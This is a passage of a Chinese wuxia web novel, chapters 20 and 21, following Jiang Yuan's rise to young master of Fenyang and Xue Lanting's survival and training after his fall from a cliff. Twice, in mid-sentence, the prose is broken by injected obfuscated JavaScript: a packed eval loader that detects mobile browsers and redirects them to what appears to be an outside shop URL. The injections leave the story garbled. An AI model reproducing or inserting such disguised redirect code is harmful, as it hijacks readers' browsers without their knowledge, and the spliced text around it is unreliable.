“姑娘,好巧,你也在这里?” 辛燕儿认出了他:“……是你?” 太子道:“上回多蒙姑娘相救,一直未及言谢。方才见姑娘神色匆匆,似在寻人?” 辛燕儿点点头。 她今日簪了一朵硕大的红牡丹,迎风怒放,烈烈如火。太子素来偏爱梅兰竹菊的清雅,不喜这等秾艳张扬之物。可那花在她发间,竟无半分俗气,反倒衬得那张脸明媚逼人,落落大方,毫不矫饰,真真跟九天之上的仙女似的。 太子不由多看了一眼,满城秋色,霎时都化作了春。 只这带来春天的人儿似有烦恼,叹气道:“是家中小弟,顽劣调皮,离家数日未归。” 太子道:“家父忝居微职,在下于这城中还算熟络。姑娘若不嫌弃,不妨让在下代劳,聊报当日之恩,找起人来,当比旁人更得力些。” 辛燕儿看着面前殷切的青年,眼波微动。 偏僻狭暗的小巷子里,七八个江湖人挤成一团,贼眉鼠眼地往外探头。 领头的高举一把大刀,满脸义愤填膺的狞色:“花姑娘说了!那叫什么燕子鸟子的,刮花了她的脸,待会儿引过来,往死里打!听到没有!” “听到了!”众小弟齐声应和。 一个端着粪水桶的往前挤了挤:“竟敢欺负到花女侠头上,看我不浇他个泔水淋头!让他成为过街臭老鼠,人人喊打!” 旁边那人捏着鼻子往后一躲:“去去去,臭死了!你站远点!”他左手抓着一把石灰,得意洋洋地扬了扬:“还得看我的,不把他搞瞎,我跟他姓!” “还有我!”又一个挤上来,举着把小臂长的大剪子,对着空气“咔咔咔”一顿猛剪,笑得一脸猥琐,“要是男的,我给他剪成女的;要是女的,嘿嘿嘿……” “嘘!有人来了,快!快!” 一阵凌乱嘈杂声后,小巷恢复寂静。 轻盈的脚步声由远及近,黑暗中的人握紧了棍棒,等那人出现,“嘭”地狠狠击中后颈。那人扑通倒地,再无动静。 “这就……成了?” 小弟们不敢置信,确定那人真的晕倒后,立时欢呼雀跃:“把她拖到据点去!留着快活!” “花女侠居然是被这个女人惹到的……看上去毫无内力啊。” “谁知道是用什么见不得光的法子!” 昏迷的女子被人扛在肩头,原地只留下一个竹筐,几只茄子和豆角滚到地上。 红伶坊,弦乐阵阵。敷粉佳人戏腔婉转,在一方舞台上演悲欢离合,牵动一屋多情看客的心。 温公子最爱在戏台下消磨时光,今日亦是如此。可今日戏坊这出折子过于苦情矫揉,不合心意,他不断捏着茶杯沿,终是起身回阁间,百无聊赖看起乐谱来。 一只沾血的手,推开这雕花刻鸟的房门。 “回来了?”温公子为过于浓郁的血腥味皱眉,抬眼一瞥,“怎地弄成这般模样?” “遇到了个小喽啰。”游凤回抽条软白丝巾,擦去脸上血渍。 “竟然有人能伤到你。” 游凤回轻松道:“已经没有了。” 温公子见他迟迟未提起功法,便知此行不顺。果然,游凤回往椅背上一靠,似笑非笑:“还是温公子有先见之明。那宋家小子,瞧着文文静静、忠孝两全的样儿,谁成想,连亡母的遗体都舍得下手。” 温公子道:“你不了解宋释。丞相夫人想藏着东西下葬不假,可童家那一闹,打草惊蛇。宋释再迟钝,也该猜出那功法与母亲的死脱不了干系。他怕的是日后母亲墓穴不得安宁,不如自己先取出来,毁了干净。” 可那东西若真能轻易毁掉,又怎会留到今天。 游凤回道:“罢了罢了,我倒也不急这一时。左右跟你一样,不过是来搅搅混水。那玩意儿,落在谁手里,都比落在那群狗官手里强。” 温公子无奈道:“你面前可也是当官的呢。” 游凤回毫不避讳笑了笑。 送走他后,温公子合上乐谱,吩咐属下道:“侯爷那边也差不多了,回去罢。” 掀帘坐进软轿,戏腔鼓乐声渐行渐远,温公子仿佛被抽走生气般,靠枕瘫坐,又一副恹恹的神色。 轿子在街道上平稳前进,微风掀起帘子一角,鼻尖闻到裹挟而来的清新桂香,温公子微微张开狭长的丹凤眼。 透过一帘深蓝,只见街角几名大汉,鬼鬼祟祟架着一名瘦弱女子。 温公子的目光冷淡掠过,无意触及女子眉目时,猛然一顿,骤然爆发出摄人的光亮。 “停轿……停轿!” 侍卫从来没见过向来冷淡的主子,这般激动慌乱的模样,生怕发生什么大事。 “把那个女人带过来!” 温公子掀开帘子,紧紧盯着那背上双目紧闭的女子,被侍卫抱到面前,“主子,只是晕过去了。” 温公子抬起白瓷般的手,颤颤靠近她的眉眼,又害怕触碰般缩了一缩。他眼底的瑟瑟秋意,已经变得像三月春风池水般温柔了。 终是下定决心。那只修长孱弱的手,轻轻揭下女子的面帘。 而后悬在半空,眼中的光随之熄灭。 “……不是。” “主子?” “不是她。” 这么多年,他寻遍大江南北,再也没见过那个会在严冬捂着他的手吹热气的女子,在他难过得想一死了之的时候,借他肩膀带他看一晚上璨璨星河的女子。 “阿姜姐姐,他们说星星能许愿,你的愿望是什么呀?” “唔……吃饱,穿暖,找到爹爹。你呢?” 那时小男孩冷得瑟瑟发抖,努力往女孩的臂弯钻:“那在阿姜姐姐吃饱、穿暖的时候,我也要在旁边。” “哈哈哈放心,等老大发迹了,绝不会忘了你这个小弟的!” 小男孩涨红了脸:“我不要当你的小弟!我要……” “要什么?” 小男孩不说话了,抓了一团雪捏成球,往雪地里远远一抛。 …… 阿渠醒来的时候,后颈一阵剧痛,眼睛直发黑。 扶着墙颤颤巍巍走出小巷,额头已生了冷汗,差点脚拌脚栽倒。余光捕捉到一个熟悉的人影,阿渠心脏一跳,哑着嗓子喊道:“姜少侠!姜……” 姜沅上前将她扶住:“阿渠?你怎么会在这里?” “我……” “我先带你去歇息。”姜沅见她脸色惨白,横抱住她,往宋府跑去。 阿渠弱弱道 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程书青望向那只雕花木盒,抱拳道:“虽不知此为何物,宋公子既将它交予我,便是将我当作可信之人。凌波山庄虽非名门大派,但护得住该护的东西,定不会让宝物落入不义之人手里。” 姜沅目光灼灼地盯着木盒,盘算着如何才能神不知鬼不觉拿到手,又听宋释道:“宋某虽不懂功法,但见母亲异样,也知这东西并非简单法宝,恐系母亲心魔所在……” 这“心魔”是什么,连宋丞相也不知,以后恐怕也没人会知道了。 姜沅对此并不关心,待两人谈话结束,她又跟上程书青,摩挲手指,想挑个没人的地方动手。 恰在此时,隔壁院落传来一个声音:“……你们先别跟过来,我要去找姜大侠!” 姜沅暗道倒霉,只得先弃了这次夺功法的机会,回自己院中。 “姜大侠!我、我有话想跟你说!”宋瑛风风火火冲了进来。 姜沅没好气看着这锦衣玉冠的小公子,“什么事?” 宋瑛扫视一圈院中的焚阳弟子,欲言又止。 姜沅把弟子赶了出去,又问:“什么事?” 宋瑛依旧扭扭捏捏,“能不能……换个地方说?” 姜沅不耐烦,一把抓住他手腕,运起轻功飞出院落。 “啊——”宋瑛头一次飞那么高,跟插了翅膀似的,惊呼一路,魂都在身后追。 “说吧,到底什么事。” 好不容易踩到实地的脚差点软倒,宋瑛扶正发冠,拨弄开凌乱的头发道:“你是不是要走了?” 原来是道别,坏了她的好事。姜沅的目光饱含谴责。 “……”宋瑛拧着袖子,慢吞吞掏出一物,“我是来感谢你的,这个送你。” 姜沅怔住:“这是……” “我也不知道是什么。我只知道,很多人都想要它,但我只想把它给你。” 姜沅接过那一张柔韧沧桑、不知什么材质做成的黄纸,五指灌注内力,使劲撕扯,也伤不到黄皮纸分毫。 倘若这是《妄经》,那宋释给程书青的又是什么? 难不成宋家有两卷? 宋瑛支支吾吾道:“我调换了我哥的东西……他肯定要骂我了,姜少侠,你带我走好不好?我……我也想和你一样,当大侠!” 柳暗花明的姜沅,心中掀起惊涛骇浪,完全没在意他说什么:“嗯……” “你同意了!我这就去收拾!不许反悔啊!”宋瑛一蹦三尺高,忙不迭回府。 宋释刚从灵堂出来,就见娇养惯了的弟弟,换了身利落衣裳,背着个小背囊,腰悬一柄装饰意义大于实用意义的长剑,在花园廊柱边,跟小厮贼眉鼠眼、探头探脑。 “待会儿我哥从这里经过,你就……” “就什么?”背后传来一句。 “就把他引开啊!”宋瑛说完,猛地一弹:“哥?!你你你怎么从那边出来了?” 宋释蹙眉道:“你们想背着我干什么?” 20. 烦闷 宋瑛手忙脚乱地将包裹和长剑藏在身后,道:“没、没什么!” 宋释沉声道:“这几日,我们需诚心谢过程少侠与姜少侠的搭救之恩。你莫要添乱,亦不可四处走动,安心在灵堂守着母亲便是。眼下风波虽暂平息,却远未消弭。” 说罢,示意身后的齐宁没收弟弟的包裹和长剑,宋瑛死死抓住不放:“……哥!” 宋释周身散发出兄长的威严,“宋瑛,无论你想做什么,等母亲丧期过去再说。” 宋瑛蔫答答回了庭院,见齐宁还跟着自己,道:“你走开,不用管我!” 二人年纪相仿,他因为齐宁是兄长的贴身护卫,心存芥蒂,总不大乐意跟他待在一处。齐宁打心眼里也不是很瞧得上这个草包二少爷,只不过奉了宋释的命令而已。 “二公子,大公子也是担心你。” “我难道还照顾不了自己吗!” 宋瑛摔门而入,齐宁拉着脸抱剑在外,两人各憋一肚子气。 宋瑛屡次探出头来,见齐宁一直守着门,焦躁地在房间里踱来踱去。良久,泄气般滚在榻上,被子蒙了满头满脸,闷声道:“齐宁,你以前是不是江湖中人?” 齐宁有些意外,隔一扇门回道:“我爹娘曾经是,后来退隐了,我的武艺都是他们教的。” “你武功那么高,为什么不去闯荡江湖?做侍卫,有什么好的?” 齐宁撇撇嘴:“闯,当然闯过呀,娘亲从我小的时候,就爱说些爱恨情仇、江湖恩怨的故事,我十三岁就拿着一把剑离了家门,梦想着当行侠仗义的剑客呢。” 宋瑛动了动耳朵:“然后呢?” “然后出门一看,诶,这个打不过,那个摆不平,好不容易帮人家找回丢失的孩子,结果发现是条逃出菜刀的老狗。再闯下去,我自己都先饿死了,恰好宋府招工的纸吹我脸上,我就来了。” 宋瑛万没想到会听到这么个穷哈哈的故事,半点不潇洒美妙,一时语塞。 他瓮声瓮气道:“可我看姜大侠就不是这样……他多威风啊。” “我以前觉得,就算不能跟我哥一样身居高官,在威风堂斗鸡、在花月楼斗酒,也同样快活自在,能……大展雄风。但我现在却觉得,姜大侠那般,才是大丈夫该有的风范!” 齐宁忽略他某些句子,点头道:“姜大侠的确厉害。”都能让这个二世祖遣散侍妾,脑光开窍了。 宋瑛掀开被子坐起身:“你也觉得对吧?我整天吃喝玩乐,自以为享尽天下美事,现在才发现不过如此。母亲原先是江湖人,却从不提过往,害我对武林也带着偏见……如今才知道自己想错了。” 齐宁听他越讲越奇怪,像有什么话憋着不肯说,下意识蹙了蹙眉头。 宋瑛继续道:“我这辈子太顺了,也太没意思。什么苦都没吃过,就意味着什么快乐都隔着一层……” 齐宁恍然,这二世祖是想自讨苦吃了。 宋瑛声音低低的:“哎,先不说了,反正没人懂我。不,也许有一个……” 向来大大咧咧的二公子居然开始伤春悲秋,感叹知音难觅,齐宁不禁觉得有些稀奇。不过他有一句话说的不错,自己确实不懂这种放着好日子不过,非要找罪受的。 …… 姜沅一见到邀月山庄众人,便觉得周身有些凉飕飕的冷。 每个邀月弟子仿佛都头顶乌云,身疲心乏,眼底爬上浓浓乌青。薛朗抱胸而立,冷眼瞥她,拒人千里。连向来温和的薛炳之也不见笑颜,只哑声道:“姜少侠。” “师兄,还跟他废什么话?”一弟子冷哼。 姜郃对他们这态度大为恼火:“你们什么意思!” “什么意思?”那弟子盯着姜沅,“那得问问你们姜沅,是什么意思。” 姜沅开口道:“薛兰庭呢?” 话音一落,邀月众弟子齐齐怒目而视。薛朗霍然起身,眼眶通红:“兰庭师兄死了!死了!你满意了吧?” “薛朗!”薛炳之低斥。 “我就要说!”薛朗吼出声,“兰庭师兄是来帮他的,他倒好,自己跑了!你们焚阳围着宋府打转,谁知道尸体是你们救的还是偷的!一具尸体,比活着的人还重要?” “你在扶摇会上就看不惯他吧?可笑他还一路说你是好人,是朋友。我呸!害人命的朋友!” 姜郃怒而拔剑,“你再说一句试试!” 姜沅拉住他,对薛家人道:“不可能。” 他不可能死。 但她又清楚地知道,那个人,的确有实力杀死薛兰庭。 “方圆五里都寻遍了,一根手指都找不到!要是真的掉下悬崖,不消魂飞魄散,怕也粉身碎骨了!” 姜沅不语,顶着邀月弟子恨恨的视线,取来一盘粗壮的绳索,一头在崖边磐石上绕了几圈,另一头系上腰,打几个死结。 姜郃眉间一跳:“师兄,你这是做甚?” 姜沅试了试绳索的柔韧和松紧,道:“帮我看着。” 焚阳弟子见她走向悬崖边,纷纷劝道:“不可!师兄!” “悬崖高逾千仞,若有什么意外……” 薛炳之亦心情复杂:“姜少侠,崖底我们也寻过了,并无踪影。” 姜沅不赞同:“万一崖壁有树木呢?”一想到薛兰庭惨兮兮地挂在峭壁树木,上不来也下不去,苦苦祈祷自己能找到他的模样,姜沅就觉得很有必要再多搜一搜。 姜郃在身旁低声道:“师兄,何必如此。” 《妄经》之一已寻到,姜甫阁吩咐的任务也完成——虽然她并非有意杀薛兰庭,但无论如何,大大挫了邀月山庄的威风。 只是姜沅看着下方云雾缭绕、宛若沉睡的悬崖,眼睛被山风吹得有些干涩。 最终,她喝退焚阳众人,抓着绳索,在血迹留存的最后方位,朝悬崖下滑去。其他焚阳弟子皆是心头一跳,持剑挡在磐石与绳索旁边,以防邀月突然动手。 直到日暮西垂,姜沅血痕狼藉的手才再次出现在悬崖边缘。 “走罢?” “走吧。” 这结果也是意料之中,邀月弟子陆陆续续离开悬崖,唉声叹气,游魂也似。 阿渠为姜沅受伤的双手敷上药,心疼不已,“姜少侠,不要再伤心了,薛少侠福大命大,一定会回来的。” 姜沅道:“我没有伤心。还有水么?” “有的。” 回庄之前,姜沅又把黄皮纸拿出检查了一遍,上头尽是脏污刮痕,恶臭盈鼻,仿佛一个经历多灾多难、伤痕累累的年迈侠士。 姜沅试了很多方法,用火烤,用水洗,都没有办法让这张怪纸现出一个字。 这张黄皮纸被递到姜甫阁手里,姜甫阁割破手指,将血液涂满纸张,随后置于窗口处风干。约莫过了一炷香时间,黄皮纸渐渐显出深棕色纹路。 姜甫阁稳重威严的目光霎时变得狂热,手指激动得微微发抖,“……竟是《妄经》第一卷,《入妄》!” 姜沅听父亲提过,《妄经》与其他功法不同。三卷各自独立,无需循序而修,任取一卷皆可入手。 然最难、最险、也最强的,正是这第一卷。 修习者可绕过《入妄》,直接习后《化妄》《策妄》两卷,功力虽减,却无人知晓究竟折损几分。只因敢入此门者,本就寥寥——风险太大,回报再高,也得有命来换。 “此次果真不虚此行,沅儿,你居功至伟。”姜甫阁语气止不住的欣慰,看着这优秀的子嗣,“收拾收拾,下月十五,去天授台,为你行少庄主任命之礼。” “是,父亲。” 姜沅离开主院后,就见娘在院外翘首以盼,“沅儿,如何?” 姜沅点点头。 娘的双眼瞬间红了,紧紧握住她的手:“五年了……我们等这一刻等了五年……这下,那个残废总能死心了!” 姜沅反握住她瘦骨嶙峋的手,道:“娘,我觉得……” 还未说完,娘一把抽出手来,朝她身后跑去:“甫郎,你出来啦!我做了些莲粉羹,你要不要尝尝?” 姜沅看着母亲如蜜蜂绕花般,笑盈盈围着不假辞色的父亲,收手回袖,缄默着回到自己的庭院。 “咕——啾、啾啾——” 悬挂在窗边笼子里的彩毛鹦鹉,见主子来了,欢快地扑棱几下翅膀,发出不安分的叫声。 姜沅对它的新鲜劲儿早已过去,只当空气一般。此刻,她却走过去,食指穿过鸟笼,戳了戳它光滑漂亮的羽毛。 “小兰,你说他死没死?” 起名叫小兰,是因为母亲名字里有个“兰”字。鹦鹉是父亲送的,颜色花枝招展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274957|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就跟天天换新衣,围着姜甫阁院子转的母亲一样。 可如今,这“兰”却像叫着另一个人。 “啾,死没死,死没,没死,啾。” 姜沅笑道:“你也觉得他没死是吧?玩心这么大,小孩似的,他藏起来要我去找他,我偏不找。等他腻了,自然就出来了。” “出来了,出来了,啾啾。” 姜沅心情不错地给它喂了食。 夕阳斜斜照进来,有几分残温,梨木桌面上的一个东西闪闪发光。姜沅余光一瞥,是那块给了尹大头的令牌。昨日姜郃特地还给她,说解决了冒充朋友身份的小毛贼,果然不负她所望。 可她不知道的是,“小毛贼”尹大头被焚阳驱逐后,侥幸捡回一条命,本想找姜沅哭诉一番,却阴差阳错,撞上薛炳之一行人。 薛朗听他诉苦,得知他认识薛兰庭,勾起伤心事,心头一酸,便将他接回邀月山庄。尹大头喂不了焚阳的马,转头喂起了邀月的马。此为后话。 少庄主任命仪式如期进行,焚阳弟子罗列如云,鼓声喊声震天巨响。万众瞩目中,姜沅登上高台,向姜甫阁恭敬行礼,接受信物,成为焚阳至高无上的少庄主。 姜沅的目光俯视台下,从泪流满面的母亲、激动握拳的姜郃、满眼仰慕的阿渠身上一一扫过,最后,带着微微诧异,落到不远处坐在轮椅上的姜少旻身上。 姜少旻似乎没有不快或忮忌,只朝她点了点头。未几,独自一人推着轮椅缓缓离场。 注意到姜少旻的不止她一人,有些弟子窃窃私语,对比起了她和昔日的姜少旻,一致认为姜沅的少庄主之位实至名归。又聊及玄蚺盗宝一事,眼底带了几分淡淡的嘲弄。 姜郃有些尴尬和不自在,毕竟他以前也算得上姜少旻的左右手,脸上无光的事多多少少跟自己沾了点,散场时便招呼也不打,匆匆离开了广场。 仪式结束,阿渠端着一碗银耳羹,推门而入,“姜少侠,我听说您有一位兄长。” 姜沅翻着万剑谱,头也不抬:“嗯,怎么?” “我师父最擅长医治腿疾,我想……尝试一二。” 姜沅抬起脸问,似笑非笑:“你怎么会觉得,我会让你去治?”她来了这么多天,应当也知道,自己与姜少旻,可是水火不容的竞争关系。 阿渠低头柔声道:“因为姜少侠是好人。” 姜沅笑了一声。 “去吧。”倒不是因为她心善,而是胜负已定,穷寇莫追。 阿渠刚转身,便与进来的人撞了个满怀。她连忙伸手去扶,对方却脸色骤变,猛地将她推开:“你……你!” 阿渠被掼倒在地,慌忙跪下:“夫人,对、对不起!” 娘死死盯着她的眼睛,伸手,再次将她重重推倒,一把扯下她脸上面纱。 “娘?你这是干什么?”姜沅见娘的反应过于激烈,上前劝阻。 看到阿渠的全脸,娘终于平静了下来,将面纱随手丢到地上人的怀里,“以后,不要随随便便带人进庄。” “不是随随便便,她帮过孩儿。”姜沅知道娘对进庄的女人,尤其是近父亲身的人,一向防范甚深,忙作安抚,“以后她去兄长的院子。” 话说得模棱两可,并未提起治腿之事。娘眼中的警惕之色渐褪。 “沅儿,”她转而拿起几匹料子,“如今你是少庄主了,穿着须得讲究。娘找了城里最好的绣娘,为你量身定做几件气派些的!” 姜沅无奈:“娘,哪需这般麻烦,又不是当皇帝。” 虽非皇帝,南派三庄势力盛大,庄主素有“卧龙土皇帝”之称,少庄主自然也当得半个土太子。只是姜沅无心显摆,此刻更惦记的,是那卷《妄经》。 自那日将《入妄》交给父亲,姜甫阁便整日闭关钻研,从未与她多提半句,更不曾让她再瞧一眼,似乎只是想自己先探探这“险境”。 转眼又是一月。姜沅靠在椅背上,盯着房梁发了会儿呆。近日她不知为何愈发焦躁,案上的卷宗翻两页便推开,连鹦鹉叽叽喳喳的声音都嫌烦,索性让阿渠先拎回房去养。 外头倒是一片太平。偶尔有弟子与邀月的人起些小摩擦,很快便被压了下去。此外,再没传来任何消息。她这个少庄主,竟当得难得清闲。 而距离薛兰庭失踪,已两月有余。 21. 奇遇 枯草古道旁,几个垂髫小儿凑在一处,手脚比划,鼓起了恐慌的眼。 “听说那里有妖怪,吃了好几个人!” “每个夜里,都能听到鬼魂的叫声……” 一男童因为吹进后颈的风打了个寒颤,对墙根蹲着的男人大喊:“喂!臭乞丐,你不是想喝我家的酒么,要是敢进去抓鬼,我就给你一壶!” 乞丐哈哈一笑:“那敢情好,你直接给我就是,因为洞里根本就没有鬼!”男童气得朝他脚边丢了块石头:“王伯可是亲耳听见的,断不会骗我,你一定是怕了!” 乞丐不屑道:“那地方我每年都去一趟,比你对你家还熟,会怕?”男童跺脚嚷道:“那你还要不要酒啦!” 酒葫芦空空,乞丐咂咂嘴,只好支起竹竿,在众孩子的簇拥下往山脚走去。 洞是溶洞,往日胆大孩童的冒险之所,只近日闻得其中呜呜咽咽,似有鬼啼,便闹出了这么个怪谈。 乞丐可不怕,即使没这个赌约,他依旧是要去的,为的就是寻洞中一样东西,治治他每年一发作的古怪顽疾。白得一壶酒,更是美事一桩。 溶洞偏僻,入口极狭,走几步就完全隔绝了日光。孩童们害怕地手牵手,一个不慎踩滑湿漉漉的石面,就跟垂稻似的倒了一片,哀声大作。 乞丐持竿闲庭信步,嘲道:“就算有鬼,也被你们这阵势吓跑啦!” 没有人有心情回答他的调侃,伸手不见五指的地方,弥漫着浓烈的矿物味道,水珠一滴一滴顺着钟乳石尖滑落。倒挂的蝙蝠被外人惊扰,扑棱翅膀发出诡异而阴森的嘶叫,直叫得人从心底刺出冰碴来。 几个胆小的已经哭爹喊娘跑出去了,唯有方才那个男童倔强着,死死攥住乞丐肮脏黏腻的袖子,顾不上嫌弃。 乞丐捻着微弱的火光,轻车熟路绕过盘虬错综的洞穴,来到一柱粗壮古老、莹莹反光的钟乳石前,用一根竹管,刮下晶莹剔透的石乳,仰着脖子喝下。 男童瑟缩着脖子,努力硬声道:“臭乞丐,你这是做什么?穷到要吃石头啦?” “小娃娃,这可是好东西。”乞丐嘿嘿一笑,扬起黑紫渐褪的手指,“千年石乳万年潭,千金不换的天材地宝!尝尝?” 男童拍开竹竿,刚想回怼,忽而满脸惊恐,疯狂扯他:“有鬼!你听!真的有鬼在说话!” 回声响彻溶洞,男童赶紧捂嘴。黑暗中,渐渐传来近乎兽类痛苦又微弱的呻吟。 绵绵不断的水声,滴答、滴答。 乞丐挑眉,挑着火光循声探去。绕过好长一段路,只见溶洞黑色暗河旁,丛生的白润乳石中,静静漂着一具浮尸。 “啊!”男孩吓得跌倒在地。 乞丐不顾男孩劝阻,轻易拨开他的手,阔步走到河边,竹竿一挑,撩开那人的水草般的长发。 一张惨白到毫无血色的脸,便显现在摇摇欲灭的火光里。 西风摇落,草木为霜。 男童裹着旧袄,一溜烟跑到破败的小木屋外,哐哐拍窗:“臭乞丐!臭乞丐!看我带什么来了?” 乞丐探出脑袋,咧嘴一笑:“又一坛好酒,真孝顺大爷!” “呸!才不是给你的。”男童把从家中偷来的酒壶炫耀似的抱高了些,“是给鬼哥哥的!他怎么样了?” 乞丐哼道:“你都叫他‘鬼’了,还能怎么样?自然是死了。”男童急道:“他昨天还醒了!你不是吹嘘你以前是无所不能的大侠士吗,怎会这般没用,快救他呀!” 乞丐眼睛一瞪:“小娃娃怎么说话的?我将他拖出来,找个好地方埋了,他全家都得对我感恩戴德。”又驳斥了几句,把男童说得哭着鼻子跑了,乞丐这才得意,将他丢下的酒壶提了进来。 “异人前辈。”床上传来一句嘶哑的声音,微弱到几不可闻。 “哟,竟然还有气儿?”乞丐吸着壶口,稀奇地瞥去一眼,“长痛不如短痛,伤成这个模样,自行了结罢。”丢给他一把匕首。 可床上人连根手指都动不了,气若游丝:“前辈,我不想死。” 乞丐大笑:“你可没有选择!” 这人五脏六腑俱裂,肋骨断了至少三根,身上的刀伤与摔伤,被浸泡得发白,四肢皮肉簌簌脱落,可见白骨。倘若不是侥幸落入暗河,流入溶洞,吸收石乳之精华,怕是命早绝矣。 那人又道:“异人前辈,求您……救我,我朋友还在等我,我不能死。” “你朋友要是在意你,会让你半死不活在这里?”异人下颌高昂,“老儿只不过看在你给我三坛酒、两条烤鱼的份上,才好心留你,待满五日,要么走,要么找个坑埋了!” “你……就是沅江边,那个戴斗笠的伯伯。”床上人恍然,随即想起他的德性,斤斤计较起来,“你还拿了我两摞米糕,怎么着也得收留七日吧。” 异人大怒,竹竿咚咚戳床脚,像是在隔空鞭笞那人:“小气!七日后,老儿便把你丢回河里!”那人没再吭声,异人抬眼一看,才发现他又晕过去了。 异人重重哼一声,摔上房门,透窗眺望秋景天色,茫茫杳杳。又阖窗阻断寒风,掌中积蓄汩汩内力,往那人血肉模糊的胸膛一按。内力如陷深渊,半点不起波澜。 他本想等这人自个儿咽气,哪知对方跟棵野草似的,只要一口气吊着,给点阳光雨露就能活。七日过去,腐肉下居然开始长出新肉来。异人大奇,又拧不过犟脾气的男童,只得装模作样施展点侠义之举,死马当活马医了。 半月后,这小子虽仍旧只能瘫床上,但稍活了些精气神,一张嘴吱哇个不停,想是半月的寂寞孕育了无尽憋屈烦闷。异人不堪其扰,男童却来得更勤了,常常带些杏儿梨儿给这位可怜的病人大哥,盼望他早日痊愈。 “以后,我也是行侠仗义的大英雄啦!”男童骄傲地挺起胸脯。 异人嗤道:“药是我熬的,内力是我传的,粥是我讨的,你算哪门子仗义?你最大的仗义就是给老儿多送几壶酒,快去吧!” 男童指着鼻子骂他:“臭乞丐!上次给薛哥哥的酒,全被你喝了!别以为我不知道!” 异人大叫:“他这个样子还喝酒,你嫌他死得不够快吗!” 床上人眼睛红红的,哑声道:“你们……都是大英雄,谢谢两位大侠的救命之恩,我薛兰庭……永生不忘。” 薛兰庭能下地走动之时,男童因为家中生意繁忙,随父亲在铺子里烧火熬酒。小破屋只剩一个病秧子,一个馋酒鬼。 薛兰庭拄着竹杖,一瘸一拐到门口,抬头天高无云,西风缕缕,大片金黄铺染山野,喃喃道:“天高岩岫晓,云澹碧山秋。” 异人鄙夷:“哪来的酸诗。” 薛兰庭摇摇头:“是师父的歌儿。” 异人倚门把玩着酒葫芦,不以为然:“你这师父,也是无趣的很。我以前认识个人,同样爱吟些山啊水啊的死物,毫无感情,毫无意趣,别人都不知道他在想什么。我只当他喝醉,胡诌罢了。” 薛兰庭虽也觉师父性子寡淡无趣,但听不得外人说,驳道:“还好罢!那你觉得天底下最好的是哪一句?”异人道:“普天下最好的诗,不过‘世事一场大梦,人生几度新凉’而已。” 薛兰庭毫无文采审美,只有一张硬嘴皮:“我却瞧着,这两句都差不多呐!”不想在这种无聊的问题上费口舌,他眼珠一转,凑过来嘻嘻道:“前辈,咱们都这么熟了,我叫你伯伯如何?异人伯伯,你跟我师父真像,都爱喝酒。我好了后,天天给你带酒喝。” 异人一听就知道这鬼精的脑袋在想什么,睨一眼他颤巍巍的腿,道:“就你这副死样子,还打着老儿武功的主意?” 薛兰庭坦言:“很快就好啦!晚辈实在仰慕异人伯伯,忍不住先说出来,就怕您跑掉了。”异人却瞧不起:“天天一口一个师父,离了他,又开始拜别的师父,当真朝三暮四的滑头。” 薛兰庭板正着脸:“师父也说过,这叫‘转益多师是吾师’。” 异人定定看他一眼,拧开葫芦盖灌一口凉酒,喉咙火辣,大喝一声:“好!七日之内,你若是能搬得动此物——”他指着道旁一块半人高的磐石,“老儿便教你武功。” 薛兰庭惊喜道:“当真?!”他明里暗里磨了许久,没想到今日异人竟轻而易举答应了,顿觉头脑发热,麻木酸痛的双腿涌上一股强大的劲力,扔开腋下拐杖,勉力站直道:“异人伯伯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274958|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不会叫你失望的!” 这冲天的气势直到抱住石头,顿时如浇了凉水迅速熄灭,往日不放在眼里的巨石,好似泰山一般沉重,胸部伤口崩裂,五指出血,也难得撼动一丝一毫。 薛兰庭大受打击,考验时间只有七日,即使身体还未痊愈,他也必须时刻运功苦练,以期尽早恢复内力。 每次因急功近利致经脉紊乱,口吐鲜血,异人便冷嘲热讽:“贪图漂亮的功夫,却连第一关都过不了。” 薛兰庭当耳旁风,在心中鼓励自己:“只要学了异人前辈的功夫,再也不能叫旁人欺负了去。好在此次受伤的是我,若是沅兄,他的家人、师兄弟和朋友们,该有多担心啊!” 又转念想:“我那么久没回去,他会担心我吗?若知道我坠崖,会难过吗?——不,还是不要知道为好,就当本大侠与那毛贼,酣战了十天半个月。” 下定决心后,薛兰庭凭着一口不服输的气,愈发折腾自己的身体,几乎是自虐般。终于,在第七日,他将那块巨石举到胸口齐平的位置,青紫紧绷的脸上,露出了胜利的笑容。一放下石块,两眼一黑,额头差点磕出血洞。 异人冷眼旁观:“你可想好,我这门功夫,能使人变成鬼,鬼变成人。一旦入门,不可半途而废,是生是死,全凭运气。” “我死也不悔!”薛兰庭咽下喉中腥甜,眼中熠熠生光,掀袍跪地,“二师父在上,受徒儿一拜!” 异人啐道:“什么二师父!煞是难听!” 异人说他这门无名功法能叫人半死不活,绝不是虚话。薛兰庭初听时腹诽:“‘逆脉三转,幻门自临。忘我忘物,忘假忘真’,世上怎会有如此艰涩难懂的功法,这老儿是不是随便编个来糊弄我的?” 经过异人一点拨,心沉意合,隐隐摸到门槛,却开始白日做噩梦,睁眼见鬼影,恍恍惚惚,如临幻境。好不容易回神,心脉猛地一阵剧痛,七窍都流了血。 异人抚掌大笑,风凉话不要钱似的倒出来:“贪心不足蛇吞象,狂妄小儿,倒是给自己挑了个最痛苦的死法!” 